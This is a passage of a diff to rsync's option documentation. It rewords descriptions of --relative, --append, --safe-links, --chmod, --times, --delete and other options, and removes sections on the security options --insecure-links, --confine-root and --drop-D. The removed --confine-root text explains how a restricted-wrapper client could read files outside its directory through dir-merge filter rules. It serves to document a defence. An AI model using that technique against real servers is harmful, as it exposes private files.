pushing files:\n \n     >     (cd /foo; rsync -avR bar/baz.c remote:/tmp/)\n \n-    (Note that the parentheses put the two commands into a sub-shell, so that the\n+    (Note that the parens put the two commands into a sub-shell, so that the\n     \"cd\" command doesn't remain in effect for future commands.) If you're\n     pulling files from an older rsync, use this idiom (but only for a\n     non-daemon transfer):\n@@ -1104,33 +969,25 @@ sign) if you want the local shell to expand it.\n     This even allows these implied path elements to have big differences, such\n     as being a symlink to a directory on the receiving side.\n \n-    For instance, if a command-line argument or a files-from entry told rsync to\n+    For instance, if a command-line arg or a files-from entry told rsync to\n     transfer the file \"path/foo/file\", the directories \"path\" and \"path/foo\"\n     are implied when [`--relative`](#opt) is used.  If \"path/foo\" is a symlink to \"bar\"\n     on the destination system, the receiving rsync would ordinarily delete\n     \"path/foo\", recreate it as a directory, and receive the file into the new\n-    directory.  With `--no-implied-dirs`, the receiving rsync leaves the\n-    existing \"path/foo\" symlink in place and follows it, so the file is written\n-    through the symlink and ends up in \"path/bar\".  Note the security\n-    implication: a pre-existing in-tree symlink-to-directory on the receiving\n-    side will redirect where the file is written, so only use\n-    `--no-implied-dirs` when you trust the destination's existing path elements.\n-    (A symlink whose target is absolute or escapes the destination tree is still\n-    refused by the secure path resolver rather than followed.)  Another way to\n-    accomplish this link preservation is to use the [`--keep-dirlinks`](#opt)\n-    option (which will also affect symlinks to directories in the rest of the\n-    transfer).\n-\n-    When pulling files from an rsync older than 3.0.0 (March 2008),\n-    you may need to use this\n+    directory.  With `--no-implied-dirs`, the receiving rsync updates\n+    \"path/foo/file\" using the existing path elements, which means that the file\n+    ends up being created in \"path/bar\".  Another way to accomplish this link\n+    preservation is to use the [`--keep-dirlinks`](#opt) option (which will also affect\n+    symlinks to directories in the rest of the transfer).\n+\n+    When pulling files from an rsync older than 3.0.0, you may need to use this\n     option if the sending side has a symlink in the path you request and you\n     wish the implied directories to be transferred as normal directories.\n \n 0.  `--backup`, `-b`\n \n     With this option, preexisting destination files are renamed as each file is\n-    transferred or deleted (that is, each file to be deleted or overwritten\n-    gets renamed instead).  You can control where the backup file goes and\n+    transferred or deleted.  You can control where the backup file goes and\n     what (if any) suffix gets appended using the [`--backup-dir`](#opt) and\n     [`--suffix`](#opt) options.\n \n@@ -1160,9 +1017,8 @@ sign) if you want the local shell to expand it.\n     Note that if you specify a relative path, the backup directory will be\n     relative to the destination directory, so you probably want to specify\n     either an absolute path or a path that starts with \"../\".  If an rsync\n-    daemon is the receiver, the backup directory cannot go outside the module's\n-    path hierarchy, so take extra care not to delete or copy into the\n-    backup directory inadvertently.\n+    daemon is the receiver, the backup dir cannot go outside the module's path\n+    hierarchy, so take extra care not to delete it or copy into it.\n \n 0.  `--suffix=SUFFIX`\n \n@@ -1177,10 +1033,10 @@ sign) if you want the local shell to expand it.\n     destination file has a modification time equal to the source file's, it\n     will be updated if the sizes are different.)\n \n-    Note that this does not affect the copying of directories, symlinks, or other\n-    special files.  Also, a difference of object type between the sender and\n+    Note that this does not affect the copying of dirs, symlinks, or other\n+    special files.  Also, a difference of file format between the sender and\n     receiver is always considered to be important enough for an update, no\n-    matter what date is on the objects.  For example, if the source has a\n+    matter what date is on the objects.  In other words, if the source has a\n     directory where the destination has a file, the transfer would occur\n     regardless of the timestamps.\n \n@@ -1233,12 +1089,13 @@ sign) if you want the local shell to expand it.\n \n     The option implies [`--partial`](#opt) (since an interrupted transfer does\n     not delete the file), but conflicts with [`--partial-dir`](#opt) and\n-    [`--delay-updates`](#opt).\n+    [`--delay-updates`](#opt).  Prior to rsync 2.6.4 `--inplace` was also\n+    incompatible with [`--compare-dest`](#opt) and [`--link-dest`](#opt).\n \n 0.  `--append`\n \n-    This special copy mode is only applicable to update files that are\n-    known to be growing larger, that is, where any existing content on the receiving side\n+    This special copy mode only works to efficiently update files that are\n+    known to be growing larger where any existing content on the receiving side\n     is also known to be the same as the content on the sender.  The use of\n     `--append` **can be dangerous** if you aren't 100% sure that all the files\n     in the transfer are shared, growing files.  You should thus use filter\n@@ -1247,8 +1104,8 @@ sign) if you want the local shell to expand it.\n     Rsync updates these growing file in-place without verifying any of the\n     existing content in the file (it only verifies the content that it is\n     appending).  Rsync skips any files that exist on the receiving side that\n-    are not shorter than the associated file on the sending side.\n-    It also skips any files whose size on the\n+    are not shorter than the associated file on the sending side (which means\n+    that new files are transferred).  It also skips any files whose size on the\n     sending side gets shorter during the send negotiations (rsync warns about a\n     \"diminished\" file when this happens).\n \n@@ -1260,12 +1117,12 @@ sign) if you want the local shell to expand it.\n 0.  `--append-verify`\n \n     This special copy mode works like [`--append`](#opt) except that all the\n-    data in the file is included in the checksum verification, making it less\n-    efficient but also potentially safer.  This option **can be dangerous** if\n+    data in the file is included in the checksum verification (making it less\n+    efficient but also potentially safer).  This option **can be dangerous** if\n     you aren't 100% sure that all the files in the transfer are shared, growing\n     files.  See the [`--append`](#opt) option for more details.\n \n-    Note: prior to rsync 3.0.0 (March 2008), the [`--append`](#opt) option worked like\n+    Note: prior to rsync 3.0.0, the [`--append`](#opt) option worked like\n     `--append-verify`, so if you are interacting with an older rsync (or the\n     transfer is using a protocol prior to 30), specifying either append option\n     will initiate an `--append-verify` transfer.\n@@ -1286,22 +1143,17 @@ sign) if you want the local shell to expand it.\n     seen in the listing).  Specify `--no-dirs` (or `--no-d`) if you want to\n     turn this off.\n \n-    See also the backward-compatibility helper option [`--old-dirs`](#opt).\n-\n-0.  `--old-dirs`, `--old-d`\n-\n-    This backward-compatibility helper tells rsync to use a hack of\n-    `-r --exclude='/*/*'` to get an older remote rsync to list a single directory\n-    without recursing.\n+    There is also a backward-compatibility helper option, `--old-dirs`\n+    (`--old-d`) that tells rsync to use a hack of `-r --exclude='/*/*'` to get\n+    an older rsync to list a single directory without recursing.\n \n 0.  `--mkpath`\n \n     Create all missing path components of the destination path.\n \n-    By default, rsync will create only the final component of the destination path\n-    if it does not exist.  If any other component does not exist that is an\n-    error, as this can help to catch mistakes in the destination path specification.\n-    With this option, rsync creates all the missing destination-path\n+    By default, rsync allows only the final component of the destination path\n+    to not exist, which is an attempt to help you to validate your destination\n+    path.  With this option, rsync creates all the missing destination-path\n     components, just as if `mkdir -p $DEST_PATH` had been run on the receiving\n     side.\n \n@@ -1311,11 +1163,11 @@ sign) if you want the local shell to expand it.\n     section for full details on how rsync decides if a final destination-path\n     component should be created as a directory or not.\n \n-    If you would like the newly-created destination directories to match the directories on\n+    If you would like the newly-created destination dirs to match the dirs on\n     the sending side, you should be using [`--relative`](#opt) (`-R`) instead\n     of `--mkpath`.  For instance, the following two commands result in the same\n     destination tree, but only the second command ensures that the\n-    \"some/extra/path\" components match the directories on the sending side:\n+    \"some/extra/path\" components match the dirs on the sending side:\n \n     >     rsync -ai --mkpath host:some/extra/path/*.c some/extra/path/\n     >     rsync -aiR host:some/extra/path/*.c ./\n@@ -1324,7 +1176,7 @@ sign) if you want the local shell to expand it.\n \n     Add symlinks to the transferred files instead of noisily ignoring them with\n     a \"non-regular file\" warning for each symlink encountered.  You can\n-    alternatively silence the warning by specifying [`--info=nonreg0`](#opt).\n+    alternately silence the warning by specifying [`--info=nonreg0`](#opt).\n \n     The default handling of symlinks is to recreate each symlink's unchanged\n     value on the receiving side.\n@@ -1342,7 +1194,12 @@ sign) if you want the local shell to expand it.\n     transfer, since there are no symlinks left in the transfer.\n \n     This option does not change the handling of existing symlinks on the\n-    receiving side.\n+    receiving side, unlike versions of rsync prior to 2.6.3 which had the\n+    side-effect of telling the receiving side to also follow symlinks.  A\n+    modern rsync won't forward this option to a remote receiver (since only the\n+    sender needs to know about it), so this caveat should only affect someone\n+    using an rsync client older than 2.6.7 (which is when `-L` stopped being\n+    forwarded to the receiver).\n \n     See the [`--keep-dirlinks`](#opt) (`-K`) if you need a symlink to a\n     directory to be treated as a real directory on the receiving side.\n@@ -1356,17 +1213,14 @@ sign) if you want the local shell to expand it.\n     and so are any symlinks in the source path itself when [`--relative`](#opt)\n     is used.\n \n-    A symlink is judged unsafe by a lexical test on its value, without resolving\n-    it on disk.  An absolute or empty target is always unsafe.  A relative\n-    target is unsafe if its \"..\" components would climb above the top of the\n-    transfer; a \"..\" that appears anywhere other than as a leading prefix (an\n-    embedded or trailing \"/..\") is also treated as unsafe.  The top is set by\n-    how the source is specified: a trailing slash on the source (e.g.\n-    \"/src/subdir/\" copied to \"/dest/subdir\") makes that directory itself the\n-    top, so a symlink may not point above it; without the trailing slash (e.g.\n-    \"/src/subdir\" copied to \"/dest/\") the source's parent (\"/src\") is the top,\n-    so \"subdir\" is a name inside the transfer and a relative symlink may point\n-    to any other name within it.\n+    Note that the cut-off point is the top of the transfer, which is the part\n+    of the path that rsync isn't mentioning in the verbose output.  If you copy\n+    \"/src/subdir\" to \"/dest/\" then the \"subdir\" directory is a name inside the\n+    transfer tree, not the top of the transfer (which is /src) so it is legal\n+    for created relative symlinks to refer to other names inside the /src and\n+    /dest directories.  If you instead copy \"/src/subdir/\" (with a trailing\n+    slash) to \"/dest/subdir\" that would not allow symlinks to any files outside\n+    of \"subdir\".\n \n     Note that safe symlinks are only copied if [`--links`](#opt) was also\n     specified or implied. The `--copy-unsafe-links` option has no extra effect\n@@ -1386,99 +1240,28 @@ sign) if you want the local shell to expand it.\n     present in the transfer prevents any matching file on the receiver from\n     being deleted when the symlink is deemed to be unsafe and is skipped.\n \n-    This option has no effect unless it is combined with [`--links`](#opt) (or\n-    an option that implies [`--links`](#opt) such as [`--archive`](#opt)),\n-    because without [`--links`](#opt) there will not be any symlinks in the\n-    transfer.  Its effect is superseded by [`--copy-unsafe-links`](#opt).\n+    This option must be combined with [`--links`](#opt) (or\n+    [`--archive`](#opt)) to have any symlinks in the transfer to conditionally\n+    ignore. Its effect is superseded by [`--copy-unsafe-links`](#opt).\n \n     Using this option in conjunction with [`--relative`](#opt) may give\n     unexpected results.\n \n     See the [SYMBOLIC LINKS](#) section for multi-option info.\n \n-0.  `--insecure-links`\n-\n-    By default rsync resolves the directory and file paths that the **operator**\n-    supplies on the command line with a defensive directory-tree walk that\n-    **follows a symlink component only when it is owned by uid&nbsp;0 or by the\n-    running user**, and\n-    refuses one owned by any other user.  This stops an attacker who can write\n-    inside one of those directories from planting a symlink that\n-    redirects a privileged rsync to a target outside the intended tree, while\n-    still honouring the operator's own symlinks.\n-    The rule is the same for absolute and relative paths.\n-    This applies to the destination directory and to the parameters to the\n-    following options: `--backup-dir`, `--temp-dir`/`-T`,\n-    `--partial-dir`, `--link-dest`, `--compare-dest`, `--copy-dest`, `--log-file`,\n-    `--password-file`, `--files-from`, `--include-from`, `--exclude-from`,\n-    `--filter` merge files, `--write-batch` and `--read-batch`.\n-\n-    `--insecure-links` turns that defence off, restoring the historical behaviour\n-    of following any symlink in those paths.  Use it only when you fully trust\n-    every directory along each operator-supplied path, as it re-exposes the\n-    symlink-redirection attacks the walk prevents.\n-\n-    The option is **local only**: it is not sent to the remote side of the\n-    transfer.  A remote-shell peer that needs the opt-out must set it there, e.g.\n-    via [`--rsync-path`](#opt)), and a daemon never honours it -- a daemon that\n-    receives `--insecure-links` from a client refuses the request.  A daemon\n-    administrator who wants the legacy behaviour for a single trusted module sets\n-    \"`insecure links = yes`\" in that module's **rsyncd.conf**(5) section instead;\n-    a client can never enable it.\n-\n-    See the [SYMBOLIC LINKS](#) section for multi-option info.\n-\n-0.  `--confine-root=DIR`\n-\n-    In the default symlink mode this bounds where operator option paths and\n-    paths selected from a [`--files-from`](#opt) list are allowed to resolve:\n-    one that ends up outside DIR is refused, even if every symlink along it was\n-    owned by a trusted user. Explicit source roots remain operator-selected\n-    transfer roots.\n-    The ownership walk asks who planted a link; this asks where the path came\n-    out.\n-\n-    DIR must be absolute.  Nothing is confined by default, and\n-    `--confine-root=/` is a no-op.\n-\n-    It exists for a wrapper that serves a restricted directory over a remote\n-    shell, `rrsync` being the one shipped here, which passes it automatically\n-    whenever its restricted dir is not \"`/`\".  Such a wrapper can vet the argv\n-    it is handed, but filter rules travel over the protocol instead: a client\n-    can name a merge file outside the restricted dir in a dir-merge rule and\n-    have the server read it in as filter rules.  On a pull that needs neither\n-    `--delete` nor any verbosity, because an exclude-only merge (the \"`-`\"\n-    modifier) makes every line a pattern, and the client reads the file's\n-    contents off which of its own names went missing.  Confining the open is\n-    what closes that; a merge file inside DIR keeps working as before.\n-\n-    A daemon ignores this option -- its module directory is already the\n-    boundary, and the option arrives in a client-supplied argv, so honouring it\n-    could only widen the module.\n-\n-    [`--insecure-links`](#opt) is refused alongside it.  That opt-out restores\n-    the historical open, which skips the walk that enforces the root, so the two\n-    together would silently mean no confinement at all.\n-\n-    Like [`--drop-D`](#opt), it is not forwarded to the remote side: it is meant\n-    to be applied to one end of a connection by itself.\n-\n 0.  `--munge-links`\n \n     This option affects just one side of the transfer and tells rsync to munge\n     symlink values when it is receiving files or unmunge symlink values when it\n-    is sending files.\n-    \"Munging\" changes the symlink target so that the symlink cannot be followed\n-    successfully, but allows the original target of the symlink to be\n-    recovered. \"Unmunging\" reverses this process so that the symlink points to\n-    the original target.\n+    is sending files.  The munged values make the symlinks unusable on disk but\n+    allows the original contents of the symlinks to be recovered.\n \n-    This option can be enabled on the server side without the client's\n+    The server-side rsync often enables this option without the client's\n     knowledge, such as in an rsync daemon's configuration file or by an option\n     given to the rrsync (restricted rsync) script.  When specified on the\n     client side, specify the option normally if it is the client side that\n-    has or needs the munged symlinks, or use `-M--munge-links` to give the option\n-    to the server when it has or needs the munged symlinks.  Note that on a local\n+    has/needs the munged symlinks, or use `-M--munge-links` to give the option\n+    to the server when it has/needs the munged symlinks.  Note that on a local\n     transfer, the client is the sender, so specifying the option directly\n     unmunges symlinks while specifying it as a remote option munges symlinks.\n \n@@ -1486,18 +1269,17 @@ sign) if you want the local shell to expand it.\n     because the daemon configures whether it wants munged symlinks via its\n     \"`munge symlinks`\" parameter.\n \n-    The symlink value is munged or unmunged once it is in the transfer, so any\n+    The symlink value is munged/unmunged once it is in the transfer, so any\n     option that transforms symlinks into non-symlinks occurs prior to the\n     munging/unmunging **except** for [`--safe-links`](#opt), which is a choice\n     that the receiver makes, so it bases its decision on the munged/unmunged\n-    value.  This does mean that if a receiver has munging enabled, using\n-    [`--safe-links`](#opt) will cause all symlinks to be ignored (since munging\n-    makes them all absolute).\n-\n-    The method that rsync uses to munge a symlink is to prefix its\n-    value with the string \"/rsyncd-munged/\".  This prevents the link from\n-    being used, provided that the /rsyncd-munged directory does not exist.\n-    When this option is\n+    value.  This does mean that if a receiver has munging enabled, that using\n+    [`--safe-links`](#opt) will cause all symlinks to be ignored (since they\n+    are all absolute).\n+\n+    The method that rsync uses to munge the symlinks is to prefix each one's\n+    value with the string \"/rsyncd-munged/\".  This prevents the links from\n+    being used as long as the directory does not exist.  When this option is\n     enabled, rsync will refuse to run if that path is a directory or a symlink\n     to a directory (though it only checks at startup).  See also the\n     \"munge-symlinks\" python script in the support directory of the source code\n@@ -1520,11 +1302,16 @@ sign) if you want the local shell to expand it.\n \n     `--copy-dirlinks` applies to all symlinks to directories in the source.  If\n     you want to follow only a few specified symlinks, a trick you can use is to\n-    pass them as additional source arguments with a trailing slash, using\n+    pass them as additional source args with a trailing slash, using\n     [`--relative`](#opt) to make the paths match up right.  For example:\n \n     >     rsync -r --relative src/./ src/./follow-me/ dest/\n \n+    This works because rsync calls **lstat**(2) on the source arg as given, and\n+    the trailing slash makes **lstat**(2) follow the symlink, giving rise to a\n+    directory in the file-list which overrides the symlink found during the\n+    scan of \"src/./\".\n+\n     See the [SYMBOLIC LINKS](#) section for multi-option info.\n \n 0.  `--keep-dirlinks`, `-K`\n@@ -1535,14 +1322,14 @@ sign) if you want the local shell to expand it.\n     deleted and replaced with a real directory.\n \n     For example, suppose you transfer a directory \"foo\" that contains a file\n-    \"file\", but on the receiver, \"foo\" is a symlink to directory \"bar\".  Without\n+    \"file\", but \"foo\" is a symlink to directory \"bar\" on the receiver.  Without\n     `--keep-dirlinks`, the receiver deletes symlink \"foo\", recreates it as a\n     directory, and receives the file into the new directory.  With\n     `--keep-dirlinks`, the receiver keeps the symlink and \"file\" ends up in\n     \"bar\".\n \n-    One note of caution: if you use `--keep-dirlinks`, you must either trust all the\n-    symlinks in the copy, or enable the [`--munge-links`](#opt) option on the\n+    One note of caution: if you use `--keep-dirlinks`, you must trust all the\n+    symlinks in the copy or enable the [`--munge-links`](#opt) option on the\n     receiving side!  If it is possible for an untrusted user to create their\n     own symlink to any real directory, the user could then (on a subsequent\n     copy) replace the symlink with a real directory and affect the content of\n@@ -1625,7 +1412,7 @@ sign) if you want the local shell to expand it.\n     behavior easier to type, you could define a popt alias for it, such as\n     putting this line in the file `~/.popt` (the following defines the `-Z`\n     option, and includes `--no-g` to use the default group of the destination\n-    directory):\n+    dir):\n \n     >      rsync alias -Z --no-p --no-g --chmod=ugo=rwX\n \n@@ -1636,14 +1423,20 @@ sign) if you want the local shell to expand it.\n     (Caveat: make sure that `-a` does not follow `-Z`, or it will re-enable the\n     two `--no-*` options mentioned above.)\n \n-    Note that if the remote rsync is older than 2.6.7 (March 2006) and it is\n-    the receiver, the behavior when `--perms` is off may differ from that\n-    described above.\n+    The preservation of the destination's setgid bit on newly-created\n+    directories when `--perms` is off was added in rsync 2.6.7.  Older rsync\n+    versions erroneously preserved the three special permission bits for\n+    newly-created files when `--perms` was off, while overriding the\n+    destination's setgid bit setting on a newly-created directory.  Default ACL\n+    observance was added to the ACL patch for rsync 2.6.7, so older (or\n+    non-ACL-enabled) rsyncs use the umask even if default ACLs are present.\n+    (Keep in mind that it is the version of the receiving rsync that affects\n+    these behaviors.)\n \n 0.  `--executability`, `-E`\n \n-    This option causes rsync to preserve the executability or\n-    non-executability of regular files when [`--perms`](#opt) is not enabled.\n+    This option causes rsync to preserve the executability (or\n+    non-executability) of regular files when [`--perms`](#opt) is not enabled.\n     A regular file is considered to be executable if at least one 'x' is turned\n     on in its permissions.  When an existing destination file's executability\n     differs from that of the corresponding source file, rsync modifies the\n@@ -1719,16 +1512,6 @@ sign) if you want the local shell to expand it.\n \n     >     --chmod=D2775,F664\n \n-    Symbolic permission-copy modes are also allowed, such as `g=u`, `o=g` or\n-    `g-o`.  A permission-copy item may copy from one class only (`u`, `g` or\n-    `o`) and cannot be combined with `rwxXst` permission letters in the same\n-    item.  Use comma-separated items when you need both behaviours, such as\n-    `g=o,o=`.\n-\n-    A permission-copy `=` item also clears the special bit for each destination\n-    class it updates (`u` clears setuid, `g` clears setgid, and `o` clears\n-    sticky), matching GNU **chmod** behaviour.\n-\n     It is also legal to specify multiple `--chmod` options, as each additional\n     option is just appended to the list of changes to make.\n \n@@ -1737,9 +1520,8 @@ sign) if you want the local shell to expand it.\n \n 0.  `--owner`, `-o`\n \n-    This option causes rsync to set the owner of each destination filesystem\n-    object (file, directory, etc.) to be the\n-    same as the source object, but only if the receiving rsync is being run as\n+    This option causes rsync to set the owner of the destination file to be the\n+    same as the source file, but only if the receiving rsync is being run as\n     the super-user (see also the [`--super`](#opt) and [`--fake-super`](#opt)\n     options).  Without this option, the owner of new and/or transferred files\n     are set to the invoking user on the receiving side.\n@@ -1750,9 +1532,8 @@ sign) if you want the local shell to expand it.\n \n 0.  `--group`, `-g`\n \n-    This option causes rsync to set the group of each destination filesystem\n-    object (file, directory, etc.) to be the\n-    same as the source object.  If the receiving program is not running as the\n+    This option causes rsync to set the group of the destination file to be the\n+    same as the source file.  If the receiving program is not running as the\n     super-user (or if `--no-super` was specified), only groups that the\n     invoking user on the receiving side is a member of will be preserved.\n     Without this option, the group is set to the default group of the invoking\n@@ -1765,20 +1546,20 @@ sign) if you want the local shell to expand it.\n 0.  `--devices`\n \n     This option causes rsync to transfer character and block device files to\n-    the remote system to recreate these devices.  This option has no effect if\n-    the receiving rsync is not run as the super-user and neither\n-    [`--super`](#opt) nor [`--fake-super`](#opt) is in effect.\n+    the remote system to recreate these devices.  If the receiving rsync is not\n+    being run as the super-user, rsync silently skips creating the device files\n+    (see also the [`--super`](#opt) and [`--fake-super`](#opt) options).\n \n-    When a device file is not created, rsync generates the usual \"non-regular\n-    file\" warning.  You can silence the warning by specifying\n-    [`--info=nonreg0`](#opt).\n+    By default, rsync generates a \"non-regular file\" warning for each device\n+    file encountered when this option is not set.  You can silence the warning\n+    by specifying [`--info=nonreg0`](#opt).\n \n 0.  `--specials`\n \n     This option causes rsync to transfer special files, such as named sockets\n-    and fifos.  Creating these files does not normally require super-user\n-    privileges.  Use [`--drop-D`](#opt) to make the receiving rsync refuse to\n-    create them regardless of what the transfer requested.\n+    and fifos.  If the receiving rsync is not being run as the super-user,\n+    rsync silently skips creating the special files (see also the\n+    [`--super`](#opt) and [`--fake-super`](#opt) options).\n \n     By default, rsync generates a \"non-regular file\" warning for each special\n     file encountered when this option is not set.  You can silence the warning\n@@ -1789,36 +1570,6 @@ sign) if you want the local shell to expand it.\n     The `-D` option is equivalent to \"[`--devices`](#opt)\n     [`--specials`](#opt)\".\n \n-0.  `--drop-D`\n-\n-    This tells the receiving rsync to refuse to create device files and\n-    special files, whatever the transfer requested.  Entries for them are\n-    skipped exactly as if [`-D`](#opt) had not been used, with the usual\n-    \"non-regular file\" warning.\n-\n-    This differs from `--no-D` in that it changes only what is created, not\n-    how the file list is encoded.  `--no-D` also turns off the rdev fields\n-    that devices and special files carry on the wire, so applying it to one\n-    end of a connection alone leaves the two ends disagreeing about the\n-    encoding and the transfer fails.  `--drop-D` can therefore be added on the\n-    receiving side by itself, which is what it exists for -- the `rrsync`\n-    wrapper uses it to stop a restricted directory's clients creating device\n-    and special files in it.  Nodes already present there are left alone.\n-\n-    Because it only withholds creation, it has no effect on a sending rsync.\n-\n-    This option is not forwarded to the remote side, since its whole purpose\n-    is to be applied to one end of a connection by itself.  It therefore\n-    affects the rsync process you give it to and no other: on a local copy, or\n-    on the receiving end of a `--server` invocation such as the one rrsync\n-    builds.  To set it on a remote receiver from the command line, send it\n-    explicitly with [`--remote-option`](#opt) (`-M`):\n-\n-    >     rsync -av -M--drop-D src/ host:dest/\n-\n-    Passing a plain `--drop-D` to a push affects only the local sender, where\n-    it does nothing.\n-\n 0.  `--copy-devices`\n \n     This tells rsync to treat a device on the sending side as a regular file,\n@@ -1841,21 +1592,21 @@ sign) if you want the local shell to expand it.\n \n 0.  `--times`, `-t`\n \n-    This tells rsync to set the modification times of the destination files\n-    (including directories, symlinks, devices, etc.) to be the same as the\n-    source files.\n-    Note that if this option is not used,\n+    This tells rsync to transfer modification times along with the files and\n+    update them on the remote system.  Note that if this option is not used,\n     the optimization that excludes files that have not been modified cannot be\n     effective; in other words, a missing `-t` (or [`-a`](#opt)) will cause the\n     next transfer to behave as if it used [`--ignore-times`](#opt) (`-I`),\n-    causing all files to be updated. (Although rsync's delta-transfer algorithm\n+    causing all files to be updated (though rsync's delta-transfer algorithm\n     will make the update fairly efficient if the files haven't actually\n-    changed, you're much better off using `-t`.)\n-\n-    If the negotiated protocol is older than 30 -- usually because the remote\n-    rsync is older than 3.0.0 (March 2008), but also if [`--protocol`](#opt)\n-    forces it -- the range of modification times that can be conveyed is\n-    restricted.  If you\n+    changed, you're much better off using `-t`).\n+\n+    A modern rsync that is using transfer protocol 30 or 31 conveys a modify\n+    time using up to 8-bytes. If rsync is forced to speak an older protocol\n+    (perhaps due to the remote rsync being older than 3.0.0) a modify time is\n+    conveyed using 4-bytes. Prior to 3.2.7, these shorter values could convey\n+    a date range of 13-Dec-1901 to 19-Jan-2038.  Beginning with 3.2.7, these\n+    4-byte values now convey a date range of 1-Jan-1970 to 7-Feb-2106.  If you\n     have files dated older than 1970, make sure your rsync executables are\n     upgraded so that the full range of dates can be conveyed.\n \n@@ -1869,6 +1620,10 @@ sign) if you want the local shell to expand it.\n     transferred files without needing to run rsync an extra time after a file\n     is transferred.\n \n+    Note that some older rsync versions (prior to 3.2.0) may have been built\n+    with a pre-release `--atimes` patch that does not imply\n+    [`--open-noatime`](#opt) when this option is repeated.\n+\n 0.  `--open-noatime`\n \n     This tells rsync to open files with the O_NOATIME flag (on systems that\n@@ -1949,14 +1704,13 @@ sign) if you want the local shell to expand it.\n 0.  `--sparse`, `-S`\n \n     Try to handle sparse files efficiently so they take up less space on the\n-    destination.  This relies on the destination filesystem supporting sparse\n-    files, that is, files where some parts of the file don't have corresponding\n-    disk blocks allocated for them because they contain all zero bytes.\n-\n-    If combined with [`--inplace`](#opt) the file created may not end up with\n-    sparse blocks (depending on the filesystem type and kernel version),\n-    unless the [`--whole-file`](#opt) option is also in effect.  Note that versions\n-    of rsync older than 3.1.3 (January 2018) will reject the combination of\n+    destination.  If combined with [`--inplace`](#opt) the file created might\n+    not end up with sparse blocks with some combinations of kernel version\n+    and/or filesystem type.  If [`--whole-file`](#opt) is in effect (e.g. for a\n+    local copy) then it will always work because rsync truncates the file prior\n+    to writing out the updated version.\n+\n+    Note that versions of rsync older than 3.1.3 will reject the combination of\n     `--sparse` and [`--inplace`](#opt).\n \n 0.  `--preallocate`\n@@ -1978,15 +1732,14 @@ sign) if you want the local shell to expand it.\n \n 0.  `--dry-run`, `-n`\n \n-    This makes rsync perform a trial run that doesn't make any changes, and\n-    produces mostly the same output as a real run.  It is most commonly used\n+    This makes rsync perform a trial run that doesn't make any changes (and\n+    produces mostly the same output as a real run).  It is most commonly used\n     in combination with the [`--verbose`](#opt) (`-v`) and/or\n     [`--itemize-changes`](#opt) (`-i`) options to see what an rsync command is\n     going to do before one actually runs it.\n \n     The output of [`--itemize-changes`](#opt) is supposed to be exactly the\n-    same on a dry run and a subsequent real run (barring external changes to\n-    the source or destination\n+    same on a dry run and a subsequent real run (barring intentional trickery\n     and system call failures); if it isn't, that's a bug.  Other output should\n     be mostly unchanged, but may differ in some areas.  Notably, a dry run does\n     not send the actual data for file transfers, so [`--progress`](#opt) has no\n@@ -1996,8 +1749,8 @@ sign) if you want the local shell to expand it.\n \n 0.  `--whole-file`, `-W`\n \n-    This option disables rsync's delta-transfer algorithm, causing the whole of\n-    all transferred files to be sent.  The transfer may be faster if this\n+    This option disables rsync's delta-transfer algorithm, which causes all\n+    transferred files to be sent whole.  The transfer may be faster if this\n     option is used when the bandwidth between the source and destination\n     machines is higher than the bandwidth to disk (especially when the \"disk\"\n     is actually a networked filesystem).  This is the default when both the\n@@ -2016,11 +1769,10 @@ sign) if you want the local shell to expand it.\n 0.  `--checksum-choice=STR`, `--cc=STR`\n \n     This option overrides the checksum algorithms.  If one algorithm name is\n-    specified, it is used for both the transfer checksums and the pre-transfer\n-    checksums (note that the pre-transfer checksum is only performed if\n-    [`--checksum`](#opt) is specified).  If two\n+    specified, it is used for both the transfer checksums and (assuming\n+    [`--checksum`](#opt) is specified) the pre-transfer checksums.  If two\n     comma-separated names are supplied, the first name affects the transfer\n-    checksums, and the second name affects the pre-transfer checksums.\n+    checksums, and the second name affects the pre-transfer checksums (`-c`).\n \n     The checksum options that you may be able to use are:\n \n@@ -2044,11 +1796,9 @@ sign) if you want the local shell to expand it.\n     The \"auto\" option is the default, where rsync bases its algorithm choice on\n     a negotiation between the client and the server as follows:\n \n-    When both sides of the transfer are at least 3.2.0 (released June 2020),\n-    each side chooses its own\n-    most-preferred algorithm that also appears in the peer's list.  Both sides\n-    order their lists strongest-first, so they converge on the strongest mutual\n-    choice.  If no common checksum choice is found, rsync exits with\n+    When both sides of the transfer are at least 3.2.0, rsync chooses the first\n+    algorithm in the client's list of choices that is also in the server's list\n+    of choices.  If no common checksum choice is found, rsync exits with\n     an error.  If the remote rsync is too old to support checksum negotiation,\n     a value is chosen based on the protocol version (which chooses between MD5\n     and various flavors of MD4 based on protocol age).\n@@ -2136,30 +1886,30 @@ sign) if you want the local shell to expand it.\n     \"foo\" when it is done, and then use the option [`--exclude='*.new'`](#opt)\n     for the rsync transfer).\n \n-    Rsync will skip the sender-side removal, and output an\n-    error, if the file's size or modify time has not stayed unchanged.\n+    Starting with 3.1.0, rsync will skip the sender-side removal (and output an\n+    error) if the file's size or modify time has not stayed unchanged.\n \n-    If the copy is local, rsync will ensure that the sender does\n+    Starting with 3.2.6, a local rsync copy will ensure that the sender does\n     not remove a file the receiver just verified, such as when the user\n     accidentally makes the source and destination directory the same path.\n \n 0.  `--delete`\n \n-    This tells rsync to delete extraneous files from the receiving side (those\n-    that don't exist on the sending side), but only for the directories that are\n+    This tells rsync to delete extraneous files from the receiving side (ones\n+    that aren't on the sending side), but only for the directories that are\n     being synchronized.  You must have asked rsync to send the whole directory\n-    (e.g. \"`dir`\" or \"`dir/`\"), rather than asking for all the files in a\n-    directory via a wildcard (e.g. \"`dir/*`\"), since the wildcard is\n-    expanded by the shell and\n+    (e.g. \"`dir`\" or \"`dir/`\") without using a wildcard for the directory's\n+    contents (e.g. \"`dir/*`\") since the wildcard is expanded by the shell and\n     rsync thus gets a request to transfer individual files, not the files'\n     parent directory.  Files that are excluded from the transfer are also\n     excluded from being deleted unless you use the [`--delete-excluded`](#opt)\n     option or mark the rules as only matching on the sending side (see the\n     include/exclude modifiers in the [FILTER RULES](#) section).\n \n-    This option has no effect unless either [`--recursive`](#opt) or\n-    [`--dirs`](#opt) (`-d`) is enabled.  In the latter case, deletions only\n-    occur in directories whose contents are being copied.\n+    Prior to rsync 2.6.7, this option would have no effect unless\n+    [`--recursive`](#opt) was enabled.  Beginning with 2.6.7, deletions will\n+    also occur when [`--dirs`](#opt) (`-d`) is enabled, but only for\n+    directories whose contents are being copied.\n \n     This option can be dangerous if used incorrectly! It is a very good idea to\n     first try a run using the [`--dry-run`](#opt) (`-n`) option to see what\n@@ -2174,8 +1924,7 @@ sign) if you want the local shell to expand it.\n     The `--delete` option may be combined with one of the --delete-WHEN options\n     without conflict, as well as [`--delete-excluded`](#opt).  